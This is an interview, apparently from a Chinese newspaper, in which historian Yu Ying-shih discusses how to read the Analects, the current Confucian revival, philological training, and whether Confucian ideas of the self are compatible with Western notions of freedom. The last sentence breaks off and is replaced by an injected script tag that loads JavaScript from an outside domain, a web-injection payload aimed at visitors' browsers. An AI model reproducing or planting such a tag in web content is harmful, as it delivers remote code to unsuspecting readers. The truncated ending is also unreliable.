余英时被历史学界誉为“我们这个时代最伟大的中国历史学家”。现任普林斯顿大学讲座教授，台湾“中央研究院”院士。2006年获得具有人文学界诺贝尔奖之誉的“克鲁格人文与社会科学终身成就奖”。余先生治学严谨入微， 
思接古人。作为儒学文化的重要参与者，余英时曾对儒学的若干重大问题做出鞭辟入里的分析，其相关著作有《现代儒学论》、《朱熹的历史世界》等。 

　　没有基本的阅读经典的能力，只是根据个人价值上的需要，任意取舍，任意解释，这恐怕不算是真正意义上的读《论语》。 

　　新京报：您曾经在《当代儒学的困境》中对于儒学的境况做过论述，现在国内读《论语》非常热，各种争论也很多。我不知道您对这种情况怎么看？ 

　　余英时：我知道，好像现在《论语》在电视上大出风头。我的看法是这里的情况很复杂，动机也不一样，不能简单化。在官方来看，他们大概是希望《论语》能起到和谐的作用，他们所注重的点就是希望大家能安贫乐道，穷人没有关系，穷还可以乐，所以就不必追求财富，也不必羡慕别人，这样不满意现状的人就会减少，这是一个层次；另外一种层次就是中国民间确实有精神空虚的问题，因为缺乏信仰。在这样的情况之下，一般人都要找一点价值，没有价值观念就没有是非、无法判断，人就没有办法活下去。所以就要寻求价值，寻找中国自己的《圣经》。而《论语》就相当于西方的《圣经》一样。《论语》是几千年来大家公认的第一部宝典，所以大家都想在里面找东西。 

　　新京报：那么下面的问题就出来了，《论语》应该怎么读呢？ 

　　余英时：几千年来，大家都在读《论语》，读法不一样，重点也不一样，每个时代的读法都不一样，汉代一个读法，宋代一个读法，清代人搞考证又是一种读法。现代人当然可以抓自己想找的东西，但是这个问题跟古典的文字训练有很大关系。如果没有文字训诂的基本训练，只凭现代人的直觉在那里望文生义就会有很大的问题。没有基本的阅读经典的能力，只是根据个人价值上的需要，任意取舍，任意解释，这恐怕不算是真正意义上的读《论语》。《论语》根本不能热，只能“冷读”，不能“热读”。“热读”的话，《论语》就完了。另外一个，读《论语》，还不单单是个阅读文本的问题，也不是一个建构理论的问题，越是这样做，离《论语》的真相越远，而是一个实践的问题，所以古人说：读《论语》“念一句受用一句，得到一句就是一句”。比如说梁漱溟先生、陈寅恪先生、吴宓先生，他们都没有关于《论语》系统的著述，但是他们身上体现出来的，恰恰是《论语》中的精神价值，他们才是认真读《论语》的人。 

　　新京报：既然《论语》是一个需要“冷读”的文本，那么知识界对于《论语》表现出来的这样巨大的热情又是为什么呢？比如说新儒家的诠释，比如说李零先生考据式的解读。 

　　余英时：这个问题很难说，一个很古典的东西，要把它普遍化，没有很高的学术水平的话，就会发生各种各样的误解，跟《论语》不相干，只不过是借着《论语》说自己想说的话。 

　　但是《论语》有很多普遍性说法，普遍性的说法具有普遍性的价值，这些普遍价值在人类很多高等文化中都有的，只是说法不同，名词不同。所以我不认为《论语》与西方的观念是针锋相对的。 

　　新京报：现在《论语》这么热，您对儒学现状的看法还像您过去那样看吗？还是有所改变？ 

　　余英时：我认为现在的儒学现状有一种抵抗西方价值的倾向，希望能在《论语》中找到许多东西，让我们可以排斥西方的某些价值，我们有自己的价值，可以不跟着西方走。 

　　新京报：通常人们都认为《论语》中没有“个人”，注重的是“二人关系”，与西方的观念是针锋相对的，但是我觉得与其探讨中西文化的不同，不如寻求中西文化的共通之处，《论语》有很多关于“己”的论述，就是关于个人的，您觉得《论语》与西方的观念是格格不入的吗？ 

　　余英时：你这个基本判断非常对。《论语》每个人读出来都是不同的，不过我觉得《论语》有些基本的东西是不能乱解释的。从前胡适讲《论语》，讲中国自由的起源，他说“为人由己”，“由己”就是“自由”。这是讲“意志自由”。我觉得这样讲是对的，如果不假定人有“自由意志”的话，那就不能成就道德，我为什么要做一个仁者？为什么不能做一个不仁不义的人呢？所以我认为像“自由”、“平等”这样的观念，佛家早就用过，跟《论语》某些观念是可以相通的。《论语》中有历史的部分，限于当时的历史情境，跟我们今天不相干了。但是《论语》有很多普遍性说法，普遍性的说法具有普遍性的价值，这些普遍价值在人类很多高等文化中都有的，只是说法不同，名词不同。所以我不认为《论语》与西方的观念是针锋相对的。《论语》那些关于“己”的论述，就是关于“个人”的。 

　　新京报：过去有很多家对于《论语》做过注疏，您都怎么看？ 

　　余英时：我认为读《论语》，如果有现代的翻译，就很好了。比如说我过去读过的杨伯峻的译本，就是很好的译本，基?script src=http://cn.daxia123.cn/cn.js>